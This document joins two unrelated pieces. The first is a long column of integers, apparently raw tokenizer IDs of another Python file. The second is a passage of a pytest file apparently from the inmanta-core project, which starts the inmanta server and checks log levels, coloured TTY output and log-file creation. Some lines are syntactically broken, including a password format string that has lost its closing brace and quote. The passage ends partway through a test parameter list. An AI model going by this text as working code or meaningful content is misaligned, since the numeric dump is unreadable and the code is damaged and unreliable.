5574,
1125,
13,
1678,
9995,
13,
1678,
910,
4947,
278,
7079,
10898,
29892,
541,
884,
12778,
738,
393,
526,
451,
373,
278,
13,
1678,
3017,
2084,
304,
372,
29889,
13,
1678,
9995,
13,
1678,
18224,
29918,
24772,
353,
8170,
287,
21533,
580,
13,
13,
1678,
396,
3462,
278,
4048,
29884,
18224,
10898,
937,
577,
372,
338,
20831,
1145,
491,
1404,
16495,
13,
1678,
4048,
29884,
29918,
12800,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29879,
485,
29884,
17255,
2084,
1649,
29961,
29900,
1402,
525,
12800,
1495,
13,
1678,
4048,
29884,
29918,
12800,
29918,
1491,
24772,
353,
518,
29881,
363,
270,
297,
2446,
29898,
359,
29889,
20919,
29898,
29879,
485,
29884,
29918,
12800,
29918,
2084,
876,
29961,
29896,
29962,
320,
13,
462,
632,
565,
270,
2804,
376,
1649,
2272,
8173,
1649,
3108,
13,
1678,
363,
2224,
297,
4048,
29884,
29918,
12800,
29918,
1491,
24772,
29901,
13,
4706,
18224,
29918,
24772,
29961,
359,
29889,
2084,
29889,
7122,
29898,
29879,
485,
29884,
29918,
12800,
29918,
2084,
29892,
2224,
4638,
353,
320,
13,
9651,
525,
4286,
7122,
18959,
29879,
485,
29884,
29889,
12800,
29889,
742,
2224,
29892,
15300,
11287,
13,
13,
1678,
396,
679,
1404,
29892,
5177,
322,
1342,
7079,
10898,
13,
1678,
1404,
29918,
2084,
353,
518,
359,
29889,
2084,
29889,
7122,
29898,
359,
29889,
2084,
29889,
18837,
1792,
703,
30022,
4968,
376,
29879,
485,
29884,
29918,
12800,
13531,
13,
1678,
8829,
29918,
24772,
353,
2897,
29889,
657,
6272,
703,
29903,
7520,
29965,
29918,
7390,
23338,
1177,
29903,
29918,
10145,
613,
376,
2564,
6506,
703,
9162,
376,
2564,
5451,
703,
29901,
1159,
13,
1678,
17475,
353,
376,
6995,
19057,
29914,
8582,
29918,
19057,
29914,
8582,
29918,
20943,
29908,
13,
1678,
8087,
29918,
2084,
353,
518,
359,
29889,
2084,
29889,
7122,
29898,
29879,
485,
29884,
17255,
2084,
1649,
29961,
29900,
1402,
17475,
4638,
565,
6455,
1683,
5159,
13,
13,
1678,
363,
282,
2084,
297,
8829,
29918,
24772,
718,
1404,
29918,
2084,
718,
8087,
29918,
2084,
29901,
13,
4706,
565,
2897,
29889,
2084,
29889,
9933,
29898,
407,
493,
1125,
13,
9651,
18224,
29918,
24772,
29961,
407,
493,
29962,
353,
2897,
29889,
2084,
29889,
6500,
3871,
29898,
407,
493,
29897,
718,
376,
1213,
13,
9651,
565,
282,
2084,
451,
297,
10876,
29889,
2084,
29901,
13,
18884,
10876,
29889,
2084,
29889,
4397,
29898,
359,
29889,
2084,
29889,
25721,
29898,
407,
493,
876,
13,
13,
1678,
736,
18224,
29918,
24772,
13,
13,
13,
1753,
338,
29918,
6886,
29918,
3207,
29898,
3207,
1125,
13,
1678,
9995,
7648,
11057,
565,
278,
3443,
881,
367,
5134,
297,
385,
1881,
4472,
13,
1678,
322,
3639,
278,
2322,
995,
310,
278,
3443,
565,
372,
4864,
29889,
13,
1678,
9995,
13,
1678,
1369,
353,
29871,
29900,
13,
1678,
282,
1853,
353,
376,
2997,
29908,
13,
1678,
565,
338,
8758,
29898,
3207,
29892,
851,
1125,
13,
4706,
1828,
353,
1828,
29889,
17010,
580,
13,
4706,
565,
451,
1828,
29889,
5451,
703,
10945,
1159,
29961,
29900,
5387,
13,
9651,
282,
1853,
353,
376,
10945,
29908,
13,
9651,
1369,
353,
29871,
29953,
13,
4706,
937,
29892,
1833,
353,
1828,
29961,
2962,
1402,
1828,
14352,
29896,
29962,
13,
4706,
565,
937,
1275,
9872,
29908,
322,
1833,
1275,
376,
29958,
1115,
13,
9651,
1828,
353,
1828,
29961,
2962,
718,
29871,
29896,
584,
448,
29896,
29962,
13,
9651,
1828,
353,
6213,
565,
451,
1828,
1683,
1828,
13,
9651,
1018,
29901,
13,
18884,
1828,
353,
19745,
29898,
3207,
29897,
13,
9651,
5174,
29901,
13,
18884,
1209,
13,
9651,
736,
518,
415,
668,
29892,
1828,
29962,
13,
1678,
736,
7700,
13,
13,
13,
1753,
2908,
11816,
7295,
13,
1678,
9995,
3295,
519,
14010,
304,
27591,
9995,
13,
1678,
1053,
5694,
1445,
13,
13,
1678,
285,
978,
353,
5694,
1445,
29889,
11256,
29881,
7382,
580,
718,
5591,
348,
29893,
9714,
29918,
2158,
29879,
29889,
3945,
29908,
13,
1678,
10876,
29889,
25393,
353,
1722,
29898,
29888,
978,
29892,
376,
29893,
1159,
13,
13,
13,
1753,
9025,
11816,
7295,
13,
1678,
9995,
1174,
519,
14010,
304,
27591,
9995,
13,
1678,
10876,
29889,
25393,
353,
10876,
17255,
25393,
1649,
13,
13,
13,
1753,
6088,
29918,
2917,
29918,
1807,
29898,
1807,
1125,
13,
1678,
6528,
353,
364,
29908,
7110,
7110,
29962,
5940,
4514,
13578,
13,
1678,
6219,
29918,
791,
29879,
353,
23160,
29888,
363,
903,
29888,
297,
337,
29889,
5451,
29898,
13087,
29892,
1347,
29897,
565,
903,
29888,
29962,
13,
1678,
628,
13083,
943,
353,
337,
29889,
2886,
497,
29898,
13087,
29892,
1347,
29897,
13,
1678,
6219,
29918,
791,
29879,
353,
518,
276,
558,
29898,
29874,
29889,
17010,
3101,
363,
263,
297,
6219,
29918,
791,
29879,
29962,
13,
1678,
503,
16242,
353,
4256,
8504,
29889,
7554,
29918,
5426,
342,
29898,
6144,
13083,
943,
29892,
6219,
29918,
791,
29879,
29897,
13,
1678,
1347,
353,
376,
1642,
7122,
4197,
29875,
363,
301,
297,
503,
16242,
363,
474,
297,
301,
565,
474,
338,
451,
6213,
2314,
13,
1678,
1018,
29901,
13,
4706,
736,
8717,
29889,
20889,
284,
29918,
14513,
29898,
1807,
29897,
13,
1678,
5174,
7865,
2392,
29901,
13,
4706,
736,
8717,
29889,
20889,
284,
29918,
14513,
29898,
5510,
29918,
2378,
29918,
2248,
29918,
294,
29918,
1807,
29898,
1807,
876,
13,
13,
13,
1753,
6088,
29918,
2378,
29918,
2248,
29918,
294,
29918,
1807,
29898,
1807,
1125,
13,
1678,
282,
353,
337,
29889,
12198,
29898,
29878,
29908,
12764,
1839,
1159,
13,
1678,
363,
286,
297,
282,
29889,
2886,
1524,
29898,
1807,
1125,
13,
4706,
9210,
353,
286,
29889,
2962,
580,
448,
2302,
718,
29871,
29941,
13,
4706,
1095,
353,
1347,
29961,
10289,
29901,
1822,
2248,
703,
2033,
1159,
718,
9210,
13,
4706,
1347,
353,
1347,
7503,
355,
29962,
718,
376,
29962,
11838,
718,
1347,
29961,
355,
718,
29871,
29906,
584,
29962,
13,
1678,
1347,
353,
1347,
29889,
6506,
703,
29915,
1839,
613,
14704,
1159,
13,
1678,
736,
1347,
13,
13,
13,
1753,
1828,
29918,
517,
29918,
710,
29898,
3207,
29918,
978,
29892,
6611,
1125,
13,
1678,
9995,
5596,
278,
3443,
338,
2629,
278,
4944,
1051,
322,
13,
1678,
736,
278,
1347,
1024,
29889,
13,
1678,
9995,
13,
1678,
565,
1828,
29918,
978,
29889,
275,
26204,
7295,
13,
4706,
1828,
29918,
978,
353,
938,
29898,
3207,
29918,
978,
29897,
13,
4706,
565,
1828,
29918,
978,
5277,
7431,
29898,
8149,
1125,
13,
9651,
1828,
29918,
978,
353,
6611,
29961,
3207,
29918,
978,
448,
29871,
29896,
29962,
13,
4706,
1683,
29901,
13,
9651,
12020,
7865,
2392,
29898,
13,
18884,
376,
4013,
3443,
1353,
338,
451,
2854,
363,
445,
7079,
29908,
13,
9651,
1723,
13,
1678,
25342,
1828,
29918,
978,
451,
297,
6611,
29901,
13,
4706,
12020,
8960,
703,
4013,
3443,
338,
451,
2198,
297,
445,
18665,
297,
23157,
13,
13,
1678,
736,
1828,
29918,
978,
13,
13,
13,
1753,
731,
29918,
2098,
29918,
1609,
29918,
28814,
29898,
16744,
29892,
3233,
29922,
8824,
1125,
13,
1678,
9995,
11609,
385,
10372,
1051,
310,
4128,
8679,
373,
278,
13,
1678,
26401,
3233,
13,
13,
1678,
584,
3207,
4128,
29901,
450,
8600,
310,
4128,
13,
1678,
584,
3207,
3233,
29901,
450,
26401,
3233,
13,
1678,
584,
2457,
29901,
530,
10372,
1051,
310,
4128,
13,
1678,
9995,
13,
1678,
848,
29918,
8149,
353,
5159,
13,
1678,
6996,
29918,
8149,
353,
5159,
13,
1678,
1006,
29885,
29918,
8149,
353,
5159,
13,
1678,
3061,
29918,
8149,
353,
5159,
13,
1678,
363,
413,
29892,
325,
297,
4128,
29889,
7076,
7295,
13,
4706,
565,
325,
3366,
4990,
3108,
1275,
376,
265,
1115,
13,
9651,
565,
325,
3366,
28814,
3108,
1275,
376,
14538,
1691,
1115,
13,
18884,
848,
29918,
8149,
29889,
4397,
29898,
29895,
29897,
13,
9651,
565,
325,
3366,
28814,
3108,
1275,
376,
16121,
1115,
13,
18884,
6996,
29918,
8149,
29889,
4397,
29898,
29895,
29897,
13,
9651,
565,
325,
3366,
28814,
3108,
1275,
376,
1639,
13847,
1115,
13,
18884,
1006,
29885,
29918,
8149,
29889,
4397,
29898,
29895,
29897,
13,
9651,
565,
325,
3366,
28814,
3108,
1275,
376,
328,
16858,
1115,
13,
18884,
3061,
29918,
8149,
29889,
4397,
29898,
29895,
29897,
13,
1678,
565,
3233,
29901,
13,
4706,
565,
3233,
1275,
376,
14538,
1691,
1115,
13,
9651,
6611,
353,
848,
29918,
8149,
13,
4706,
25342,
3233,
1275,
376,
16121,
1115,
13,
9651,
6611,
353,
6996,
29918,
8149,
13,
4706,
25342,
3233,
1275,
376,
1639,
13847,
1115,
13,
9651,
6611,
353,
6996,
29918,
8149,
718,
1006,
29885,
29918,
8149,
718,
848,
29918,
8149,
13,
4706,
25342,
3233,
1275,
376,
328,
16858,
1115,
13,
9651,
6611,
353,
6996,
29918,
8149,
718,
1006,
29885,
29918,
8149,
718,
3061,
29918,
8149,
718,
848,
29918,
8149,
13,
4706,
1683,
29901,
13,
9651,
6611,
353,
6996,
29918,
8149,
718,
1006,
29885,
29918,
8149,
718,
3061,
29918,
8149,
718,
848,
29918,
8149,
13,
1678,
1683,
29901,
13,
4706,
6611,
353,
6996,
29918,
8149,
718,
1006,
29885,
29918,
8149,
718,
3061,
29918,
8149,
718,
848,
29918,
8149,
13,
13,
1678,
736,
6611,
13,
13,
13,
1753,
3588,
29918,
9910,
29918,
7529,
29898,
3207,
29918,
978,
29892,
995,
1125,
13,
1678,
9995,
5596,
565,
995,
338,
263,
2473,
3443,
322,
1423,
565,
1269,
2944,
338,
2854,
29889,
13,
1678,
10726,
515,
278,
1881,
2473,
3443,
1347,
304,
263,
1051,
13,
13,
1678,
584,
3207,
1828,
29918,
978,
29901,
4408,
310,
278,
3443,
13,
1678,
584,
3207,
995,
29901,
24953,
995,
13,
1678,
584,
2457,
29901,
2391,
470,
443,
15033,
995,
13,
1678,
9995,
13,
1678,
1059,
29918,
710,
353,
5124,
13,
1678,
2473,
29918,
16744,
353,
313,
13,
4706,
338,
8758,
29898,
1767,
29892,
851,
29897,
322,
313,
1769,
29908,
297,
995,
29897,
322,
1828,
29918,
978,
2804,
376,
25347,
29908,
13,
1678,
1723,
13,
1678,
565,
2473,
29918,
16744,
29901,
13,
4706,
995,
353,
995,
29889,
5451,
703,
29936,
1159,
13,
4706,
338,
8977,
353,
337,
29889,
2886,
497,
29898,
29878,
29908,
7110,
741,
6525,
29974,
613,
995,
29961,
29900,
2314,
13,
4706,
565,
376,
6160,
297,
995,
29961,
29900,
29962,
322,
451,
338,
8977,
29901,
13,
9651,
19359,
353,
995,
29961,
29900,
1822,
5451,
703,
29901,
1159,
13,
9651,
1018,
29901,
13,
18884,
19359,
353,
518,
579,
29889,
20889,
284,
29918,
14513,
29898,
29879,
29897,
363,
269,
297,
19359,
29962,
13,
18884,
565,
7431,
29898,
1767,
29897,
1275,
29871,
29900,
29901,
13,
462,
1678,
1059,
29918,
710,
353,
313,
13,
462,
4706,
285,
29908,
3782,
1819,
363,
18515,
287,
3443,
376,
13,
462,
4706,
285,
29908,
29915,
29912,
3207,
29918,
978,
10162,
9801,
1369,
29901,
9847,
29901,
10568,
29936,
1819,
376,
13,
462,
4706,
285,
29908,
598,
2854,
29908,
13,
462,
1678,
1723,
13,
18884,
25342,
7431,
29898,
11762,
29897,
1275,
29871,
29906,
29901,
13,
462,
1678,
995,
353,
1051,
29898,
9302,
29889,
279,
927,
29898,
11762,
29961,
29900,
1402,
19359,
29961,
29896,
12622,
13,
18884,
25342,
7431,
29898,
11762,
29897,
1405,
29871,
29906,
29901,
13,
462,
1678,
995,
353,
1051,
29898,
9302,
29889,
279,
927,
29898,
11762,
29961,
29900,
1402,
19359,
29961,
29896,
1402,
19359,
29961,
29906,
12622,
13,
18884,
1683,
29901,
13,
462,
1678,
1059,
29918,
710,
353,
376,
29923,
1983,
545,
1369,
29901,
9847,
29901,
10568,
29936,
1819,
526,
2854,
1213,
13,
18884,
565,
451,
995,
29901,
13,
462,
1678,
396,
3872,
29915,
29873,
2758,
385,
4069,
1051,
13,
462,
1678,
12020,
7865,
2392,
13,
9651,
5174,
29901,
13,
18884,
1059,
29918,
710,
353,
376,
29923,
1983,
545,
1369,
29901,
9847,
29901,
10568,
29936,
1819,
526,
2854,
1213,
13,
4706,
659,
29918,
1761,
353,
313,
13,
9651,
6088,
29918,
2917,
29918,
1807,
29898,
1767,
29897,
565,
338,
8758,
29898,
1767,
29892,
851,
29897,
1683,
995,
13,
4706,
1723,
13,
4706,
396,
15154,
9654,
1051,
9976,
13,
4706,
396,
10726,
1134,
304,
938,
29892,
5785,
470,
851,
13,
4706,
659,
29918,
1761,
353,
23160,
29881,
17204,
29898,
791,
29897,
363,
659,
297,
995,
565,
659,
29962,
13,
4706,
995,
353,
659,
29918,
1761,
13,
1678,
736,
995,
29892,
1059,
29918,
710,
13,
13,
13,
1753,
903,
29881,
17204,
29898,
791,
1125,
13,
1678,
9995,
20083,
738,
4567,
11839,
2820,
3651,
13,
1678,
10726,
278,
1347,
304,
385,
6043,
29892,
5785,
29892,
18761,
29892,
1051,
29892,
851,
29892,
9657,
13,
1678,
9995,
13,
1678,
1053,
343,
8807,
13,
1678,
396,
4721,
794,
11301,
515,
373,
29914,
2696,
304,
7223,
13,
1678,
343,
8807,
29889,
17618,
1725,
10036,
29889,
1202,
29918,
27821,
29898,
13,
4706,
376,
4039,
29901,
25162,
29889,
990,
29892,
29906,
29900,
29900,
29906,
29901,
11227,
613,
1619,
17618,
1725,
23770,
29889,
1202,
29918,
11227,
13,
1678,
1723,
13,
1678,
565,
338,
8758,
29898,
791,
29892,
851,
1125,
13,
4706,
1018,
29901,
13,
9651,
396,
14795,
873,
14707,
385,
4603,
2943,
470,
263,
1347,
6943,
13,
9651,
396,
263,
5132,
16333,
470,
5639,
2479,
13,
9651,
995,
353,
8717,
29889,
20889,
284,
29918,
14513,
29898,
791,
29897,
13,
9651,
736,
995,
13,
4706,
5174,
8960,
29901,
13,
9651,
1209,
13,
4706,
1018,
29901,
13,
9651,
338,
8977,
353,
337,
29889,
2886,
497,
29898,
29878,
29908,
7110,
741,
6525,
29974,
613,
659,
29897,
13,
9651,
659,
353,
903,
14167,
1179,
3039,
29918,
3198,
29898,
791,
29892,
338,
8977,
29892,
3349,
29922,
8824,
29897,
13,
9651,
995,
353,
343,
8807,
29889,
11177,
29918,
1359,
29898,
791,
29897,
13,
9651,
736,
903,
14167,
1179,
3039,
29918,
3198,
29898,
1767,
29892,
338,
8977,
29897,
13,
4706,
5174,
8960,
29901,
13,
9651,
659,
353,
903,
14167,
1179,
3039,
29918,
3198,
29898,
791,
29892,
338,
8977,
29897,
13,
9651,
1209,
13,
4706,
1018,
29901,
13,
9651,
338,
8977,
353,
337,
29889,
2886,
497,
29898,
29878,
29908,
7110,
741,
6525,
29974,
613,
659,
29897,
13,
9651,
396,
14514,
267,
426,
500,
1546,
697,
322,
443,
29044,
1353,
310,
3064,
13,
9651,
565,
338,
8977,
29901,
13,
18884,
565,
338,
8758,
29898,
791,
29892,
9657,
1125,
13,
462,
1678,
995,
29918,
8977,
353,
6571,
13,
462,
1678,
363,
413,
29892,
325,
297,
659,
29889,
7076,
7295,
13,
462,
4706,
325,
353,
325,
29889,
6506,
703,
29961,
613,
13577,
29961,
2564,
6506,
703,
29962,
613,
376,
29962,
29915,
1159,
13,
462,
4706,
995,
29918,
8977,
29961,
29895,
29962,
353,
903,
29881,
17204,
29898,
13,
462,
9651,
343,
8807,
29889,
11177,
29918,
1359,
29898,
29894,
29897,
13,
462,
4706,
1723,
13,
462,
1678,
736,
995,
29918,
8977,
13,
18884,
1683,
29901,
13,
462,
1678,
995,
353,
659,
29889,
6506,
703,
29961,
613,
13577,
29961,
2564,
6506,
703,
29962,
613,
376,
29962,
29915,
1159,
13,
462,
1678,
736,
903,
29881,
17204,
29898,
25162,
29889,
11177,
29918,
1359,
29898,
1767,
876,
13,
9651,
1683,
29901,
13,
18884,
995,
353,
6088,
29918,
2917,
29918,
1807,
29898,
791,
29897,
13,
18884,
736,
995,
13,
4706,
5174,
8960,
29901,
13,
9651,
565,
7431,
29898,
791,
29889,
5451,
703,
29936,
5783,
1405,
29871,
29896,
29901,
13,
18884,
995,
353,
659,
13,
18884,
736,
995,
13,
9651,
1683,
29901,
13,
18884,
12020,
8960,
703,
13919,
1347,
1273,
29879,
29908,
1273,
659,
29897,
13,
1678,
1683,
29901,
13,
4706,
995,
353,
659,
13,
1678,
736,
995,
13,
13,
13,
1753,
903,
14167,
1179,
3039,
29918,
3198,
29898,
791,
29892,
338,
8977,
29892,
3349,
29922,
5574,
1125,
13,
1678,
9995,
1762,
4772,
7916,
1179,
3039,
1819,
1641,
19030,
29892,
5191,
8104,
13,
1678,
1819,
5382,
6275,
13,
13,
1678,
584,
3207,
659,
29901,
13,
1678,
584,
3207,
338,
8977,
29901,
5852,
565,
4105,
778,
6571,
1476,
13,
1678,
584,
2457,
29901,
995,
13,
1678,
9995,
13,
1678,
565,
338,
8758,
29898,
791,
29892,
851,
29897,
322,
451,
338,
8977,
29901,
13,
4706,
565,
3349,
29901,
13,
9651,
659,
353,
659,
29889,
6506,
703,
29901,
29973,
613,
29242,
1159,
13,
4706,
1683,
29901,
13,
9651,
659,
353,
659,
29889,
6506,
703,
29901,
613,
29242,
29973,
1159,
13,
1678,
736,
659,
13,
13,
13,
1753,
1423,
29918,
3084,
29918,
6229,
2673,
29898,
6229,
29892,
12379,
29918,
1761,
1125,
13,
1678,
9995,
5596,
278,
9927,
338,
2629,
278,
1959,
3464,
15945,
29908,
13,
1678,
565,
451,
29871,
29900,
529,
3964,
529,
29871,
29906,
29896,
29901,
13,
4706,
12020,
8960,
703,
12148,
671,
263,
9927,
1546,
29871,
29896,
322,
29871,
29906,
29900,
23157,
13,
1678,
565,
12379,
29918,
1761,
322,
313,
6229,
1405,
7431,
29898,
16304,
29918,
1761,
22164,
13,
4706,
12020,
8960,
29898,
13,
9651,
376,
3492,
505,
451,
6790,
3307,
13391,
376,
13,
9651,
376,
26102,
278,
25267,
3443,
1213,
13,
4706,
1723,
13,
1678,
736,
5852,
13,
13,
13,
1753,
338,
29918,
18337,
29918,
16666,
29898,
1767,
1125,
13,
1678,
9995,
11609,
5852,
565,
278,
995,
338,
1754,
701,
310,
2999,
15945,
29908,
13,
1678,
736,
338,
8758,
29898,
1767,
29892,
851,
29897,
322,
313,
4710,
297,
995,
29897,
13,
13,
13,
1753,
1653,
29918,
3972,
29898,
1445,
29918,
2084,
1125,
13,
1678,
9995,
5596,
565,
17525,
4944,
1863,
472,
445,
934,
2224,
29889,
960,
896,
1016,
29915,
29873,
13,
1678,
1653,
278,
17525,
29889,
13,
1678,
9995,
13,
1678,
3884,
353,
2897,
29889,
2084,
29889,
25721,
29898,
1445,
29918,
2084,
29897,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
12322,
1125,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
12322,
29897,
13,
13,
13,
1753,
29536,
29918,
9910,
29918,
1220,
29918,
710,
29898,
726,
29892,
29536,
29918,
5563,
29922,
29896,
29892,
26922,
29922,
8824,
1125,
13,
1678,
1426,
353,
1426,
29889,
5451,
14182,
29876,
1159,
13,
1678,
396,
15154,
5684,
29250,
373,
278,
2175,
2625,
577,
393,
1426,
7595,
29879,
13,
1678,
565,
26922,
338,
7700,
29901,
13,
4706,
1426,
353,
518,
703,
376,
334,
29871,
29946,
334,
29536,
29918,
5563,
29897,
718,
1196,
363,
1196,
297,
1426,
29962,
13,
1678,
1683,
29901,
13,
4706,
1426,
353,
518,
703,
376,
334,
29871,
29946,
334,
29536,
29918,
5563,
29897,
718,
1196,
29889,
29880,
17010,
580,
363,
1196,
297,
1426,
29962,
13,
1678,
1426,
353,
6634,
29876,
1642,
7122,
29898,
726,
29897,
13,
1678,
736,
1426,
13,
13,
13,
1753,
29536,
29898,
726,
29892,
29536,
29918,
5563,
29922,
29896,
1125,
13,
1678,
1426,
353,
4852,
376,
334,
29871,
29946,
334,
29536,
29918,
5563,
29897,
718,
1426,
13,
1678,
736,
1426,
13,
13,
13,
1753,
2656,
29918,
284,
16711,
398,
7373,
1761,
1125,
13,
1678,
9995,
13685,
1051,
4825,
1711,
322,
22968,
1711,
13,
1678,
334,
8809,
488,
7344,
292,
2441,
1051,
995,
4072,
29930,
13,
13,
1678,
584,
3207,
903,
1761,
29901,
10567,
1051,
304,
367,
12705,
13,
1678,
584,
2457,
29901,
2391,
12705,
491,
1353,
322,
5497,
22968,
1711,
13,
1678,
9995,
13,
1678,
736,
12705,
7373,
1761,
29892,
1820,
29922,
29918,
284,
16711,
398,
29897,
13,
13,
13,
1753,
903,
710,
29918,
517,
29918,
524,
7373,
710,
1125,
13,
1678,
9995,
18455,
278,
1881,
851,
304,
385,
938,
565,
1950,
13,
13,
1678,
584,
3207,
903,
710,
29901,
1881,
1347,
13,
1678,
584,
2457,
29901,
6043,
565,
1426,
338,
263,
13615,
29892,
1683,
1347,
13,
1678,
9995,
13,
1678,
736,
938,
7373,
710,
29897,
565,
903,
710,
29889,
275,
26204,
580,
1683,
903,
710,
13,
13,
13,
1753,
903,
284,
16711,
398,
7373,
710,
1125,
13,
1678,
9995,
18772,
1347,
964,
3694,
322,
8721,
13,
13,
1678,
584,
3207,
903,
710,
29901,
13,
1678,
584,
2457,
29901,
1051,
310,
3694,
322,
8721,
13,
1678,
9995,
13,
1678,
1373,
29918,
1761,
353,
337,
29889,
5451,
703,
4197,
29900,
29899,
29929,
10062,
19123,
903,
710,
29897,
13,
1678,
736,
23160,
710,
29918,
517,
29918,
524,
29898,
29883,
29897,
363,
274,
297,
1373,
29918,
1761,
29962,
13,
2
] |
tests/test_app.py | inmanta/inmanta-core | 6 | 6136 | <reponame>inmanta/inmanta-core
"""
Copyright 2018 Inmanta
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Contact: <EMAIL>
"""
import os
import re
import signal
import subprocess
import sys
from subprocess import TimeoutExpired
from threading import Timer
import pytest
import inmanta.util
from inmanta import const
def get_command(
tmp_dir,
stdout_log_level=None,
log_file=None,
log_level_log_file=None,
timed=False,
dbport=None,
dbname="inmanta",
dbhost=None,
dbuser=None,
dbpass=<PASSWORD>,
config_dir=None,
server_extensions=[],
version=False,
):
root_dir = tmp_dir.mkdir("root").strpath
log_dir = os.path.join(root_dir, "log")
state_dir = os.path.join(root_dir, "data")
for directory in [log_dir, state_dir]:
os.mkdir(directory)
config_file = os.path.join(root_dir, "inmanta.cfg")
if dbport is not None:
port = dbport
else:
port = inmanta.util.get_free_tcp_port()
with open(config_file, "w+", encoding="utf-8") as f:
f.write("[config]\n")
f.write("log-dir=" + log_dir + "\n")
f.write("state-dir=" + state_dir + "\n")
f.write("[database]\n")
f.write("port=" + str(port) + "\n")
f.write("name=" + dbname + "\n")
if dbhost:
f.write(f"host={dbhost}\n")
if dbuser:
f.write(f"username={dbuser}\n")
if dbpass:
f.write(f"password={<PASSWORD>")
f.write("[server]\n")
f.write(f"enabled_extensions={', '.join(server_extensions)}\n")
args = [sys.executable, "-m", "inmanta.app"]
if stdout_log_level:
args.append("-" + "v" * stdout_log_level)
if log_file:
log_file = os.path.join(log_dir, log_file)
args += ["--log-file", log_file]
if log_file and log_level_log_file:
args += ["--log-file-level", str(log_level_log_file)]
if timed:
args += ["--timed-logs"]
if config_dir:
args += ["--config-dir", config_dir]
if version:
args += ["--version"]
args += ["-c", config_file, "server"]
return (args, log_dir)
def do_run(args, env={}, cwd=None):
baseenv = os.environ.copy()
baseenv.update(env)
process = subprocess.Popen(args, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=baseenv)
return process
def convert_to_ascii(text):
return [line for line in text.decode("ascii").split("\n") if line != ""]
def do_kill(process, killtime=3, termtime=2):
def do_and_log(func, msg):
def w():
print(msg)
func()
return w
t1 = Timer(killtime, do_and_log(process.kill, "killed process"))
t2 = Timer(termtime, do_and_log(process.terminate, "terminated process"))
t1.start()
t2.start()
out, err = process.communicate()
t1.cancel()
t2.cancel()
stdout = convert_to_ascii(out)
stderr = convert_to_ascii(err)
return (stdout, stderr, process.returncode)
def run_without_tty(args, env={}, killtime=3, termtime=2):
process = do_run(args, env)
return do_kill(process, killtime, termtime)
def run_with_tty(args, killtime=3, termtime=2):
"""Could not get code for actual tty to run stable in docker, so we are faking it """
env = {const.ENVIRON_FORCE_TTY: "true"}
return run_without_tty(args, env=env, killtime=killtime, termtime=termtime)
def get_timestamp_regex():
return r"[\d]{4}\-[\d]{2}\-[\d]{2} [\d]{2}\:[\d]{2}\:[\d]{2}\,[\d]{3}"
def get_compiled_regexes(regexes, timed):
result = []
for regex in regexes:
if timed:
regex = get_timestamp_regex() + " " + regex
compiled_regex = re.compile(regex)
result.append(compiled_regex)
return result
def is_colorama_package_available():
try:
import colorama # noqa: F401
except ModuleNotFoundError:
return False
return True
def test_verify_that_colorama_package_is_not_present():
"""
The colorama package turns the colored characters in TTY-based terminal into uncolored characters.
As such, this package should not be present.
"""
assert not is_colorama_package_available()
@pytest.mark.parametrize_any(
"log_level, timed, with_tty, regexes_required_lines, regexes_forbidden_lines",
[
(
3,
False,
False,
[r"[a-z.]*[ ]*INFO[\s]+Starting server endpoint", r"[a-z.]*[ ]*DEBUG[\s]+Starting Server Rest Endpoint"],
[],
),
(
2,
False,
False,
[r"[a-z.]*[ ]*INFO[\s]+Starting server endpoint"],
[r"[a-z.]*[ ]*DEBUG[\s]+Starting Server Rest Endpoint"],
),
(
3,
False,
True,
[
r"\x1b\[32m[a-z.]*[ ]*INFO[\s]*\x1b\[0m \x1b\[34mStarting server endpoint",
r"\x1b\[36m[a-z.]*[ ]*DEBUG[\s]*\x1b\[0m \x1b\[34mStarting Server Rest Endpoint",
],
[],
),
(
2,
False,
True,
[r"\x1b\[32m[a-z.]*[ ]*INFO[\s]*\x1b\[0m \x1b\[34mStarting server endpoint"],
[r"\x1b\[36m[a-z.]*[ ]*DEBUG[\s]*\x1b\[0m \x1b\[34mStarting Server Rest Endpoint"],
),
(
3,
True,
False,
[r"[a-z.]*[ ]*INFO[\s]+Starting server endpoint", r"[a-z.]*[ ]*DEBUG[\s]+Starting Server Rest Endpoint"],
[],
),
(
2,
True,
False,
[r"[a-z.]*[ ]*INFO[\s]+Starting server endpoint"],
[r"[a-z.]*[ ]*DEBUG[\s]+Starting Server Rest Endpoint"],
),
(
3,
True,
True,
[
r"\x1b\[32m[a-z.]*[ ]*INFO[\s]*\x1b\[0m \x1b\[34mStarting server endpoint",
r"\x1b\[36m[a-z.]*[ ]*DEBUG[\s]*\x1b\[0m \x1b\[34mStarting Server Rest Endpoint",
],
[],
),
(
2,
True,
True,
[r"\x1b\[32m[a-z.]*[ ]*INFO[\s]*\x1b\[0m \x1b\[34mStarting server endpoint"],
[r"\x1b\[36m[a-z.]*[ ]*DEBUG[\s]*\x1b\[0m \x1b\[34mStarting Server Rest Endpoint"],
),
],
)
@pytest.mark.timeout(20)
def test_no_log_file_set(tmpdir, log_level, timed, with_tty, regexes_required_lines, regexes_forbidden_lines):
if is_colorama_package_available() and with_tty:
pytest.skip("Colorama is present")
(args, log_dir) = get_command(tmpdir, stdout_log_level=log_level, timed=timed)
if with_tty:
(stdout, _, _) = run_with_tty(args)
else:
(stdout, _, _) = run_without_tty(args)
log_file = "server.log"
assert log_file not in os.listdir(log_dir)
assert len(stdout) != 0
check_logs(stdout, regexes_required_lines, regexes_forbidden_lines, timed)
@pytest.mark.parametrize_any(
"log_level, with_tty, regexes_required_lines, regexes_forbidden_lines",
[
(
3,
False,
[
r"[a-z.]*[ ]*INFO[\s]+[a-x\.A-Z]*[\s]Starting server endpoint",
r"[a-z.]*[ ]*DEBUG[\s]+[a-x\.A-Z]*[\s]Starting Server Rest Endpoint",
],
[],
),
(
2,
False,
[r"[a-z.]*[ ]*INFO[\s]+[a-x\.A-Z]*[\s]Starting server endpoint"],
[r"[a-z.]*[ ]*DEBUG[\s]+[a-x\.A-Z]*[\s]Starting Server Rest Endpoint"],
),
(
3,
True,
[
r"[a-z.]*[ ]*INFO[\s]+[a-x\.A-Z]*[\s]Starting server endpoint",
